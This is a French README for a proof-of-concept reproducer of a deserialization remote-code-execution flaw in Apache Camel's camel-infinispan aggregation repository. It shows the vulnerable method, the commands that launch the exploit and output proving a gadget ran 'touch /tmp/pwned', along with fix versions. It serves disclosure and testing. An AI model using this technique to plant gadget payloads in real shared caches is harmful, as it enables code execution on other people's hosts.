
Reproducteur pour CVE-2026-40858 — Désérialisation non sécurisée du référentiel d'agrégation distant camel-infinispan d'Apache Camel (RCE)
Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-infinispan d'Apache Camel, suivie sous le numéro CVE-2026-40858. Le dépôt d'agrégation distant basé sur ProtoStream sérialise chaque Exchange agrégé dans un cache Infinispan distant et, lorsqu'il relit une entrée (via get() / recover()), la désérialise avec java.io.ObjectInputStream et aucun ObjectInputFilter. Un attaquant capable d'écrire dans le cache sous-jacent peut placer un objet sérialisé malveillant et obtenir une exécution de code à distance la prochaine fois que le dépôt lit cette clé.
Avis : https://camel.apache.org/security/CVE-2026-40858.html
| Propriété | Valeur |
|---|---|
| Composant | camel-infinispan (dépôt d'agrégation distant / HotRod) |
| Classe affectée | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) |
| Versions affectées | De 4.0.0 avant 4.14.7, de 4.15.0 avant 4.18.2, de 4.19.0 avant 4.20.0 |
| Versions corrigées | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Rapporteur | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository stocke chaque Exchange sous forme de DefaultExchangeHolder. Avec le marshaller ProtoStream, ce holder est adapté par DefaultExchangeHolderProtoAdapter, dont le champ ProtoStream n°1 est le holder sérialisé avec un simple ObjectOutputStream. Au retour, l'adaptateur reconstruit le holder en passant ces octets à DefaultExchangeHolderUtils.deserialize :
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
ClassLoadingAwareObjectInputStream élargit, au lieu de restreindre, l'ensemble des classes résolubles, donc readObject() instanciera toute chaîne de gadgets présente dans le classpath. Comme les octets proviennent directement du cache distant, quiconque peut écrire cette clé de cache contrôle le flux de désérialisation — et le gadget se déclenche pendant readObject(), avant que la valeur ne soit jamais castée en DefaultExchangeHolder.
Une route (ou, comme ici, du code applicatif) utilise le dépôt d'agrégation distant adossé à un serveur Infinispan :
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
Tout appel à get() / recover() sur une clé dont la valeur stockée a été modifiée déclenche le sink.
Le code Camel vulnérable s'exécute dans l'application (sur l'hôte) ; le serveur Infinispan tourne dans Docker en tant que stockage sous-jacent auquel le dépôt s'adresse. Cela reflète le déploiement pratique du dépôt : les données non fiables résident dans le cache partagé.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
Note sur le raccourci du PoC. Un véritable attaquant écrit les octets malveillants directement dans le cache Infinispan partagé. Pour garder le reproducteur autonome,
/exploit/attackplace la valeur via le même dépôt (repo.add(...)avec un gadget comme corps de l'Exchange) puis appellerepo.get(...)pour déclencher la lecture. Le sink qui exécute le gadget est le proprereadObject()de Camel, exactement comme il se déclencherait sur toute entrée de cache modifiée par un attaquant.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
Le gadget CommonsCollections6 est assemblé en direct via réflexion dans java.util, donc la JVM doit être démarrée avec --add-opens java.base/java.util=ALL-UNNAMED :
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned est créé par le gadget (touch /tmp/pwned) pendant que le dépôt désérialise la valeur de cache plantée.
docker compose down
rm -f /tmp/pwned
Tout déploiement utilisant InfinispanRemoteAggregationRepository (marshalling ProtoStream) contre un cache auquel un attaquant peut écrire. L'accès en écriture au cache peut provenir d'un cluster Infinispan partagé/multi-locataire, d'un point de terminaison HotRod accessible depuis le réseau, ou de tout autre producteur qui dépose des données dans le même cache.
commons-collections:3.2.1).Mettez à niveau vers 4.14.7 / 4.18.2 / 4.20.0. Le correctif applique un ObjectInputFilter / une liste blanche de classes à la désérialisation du holder, correspondant au durcissement appliqué aux autres dépôts d'agrégation Camel (camel-leveldb, camel-cassandraql, camel-jms) et à camel-mina / camel-netty.
En attendant la mise à niveau :
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.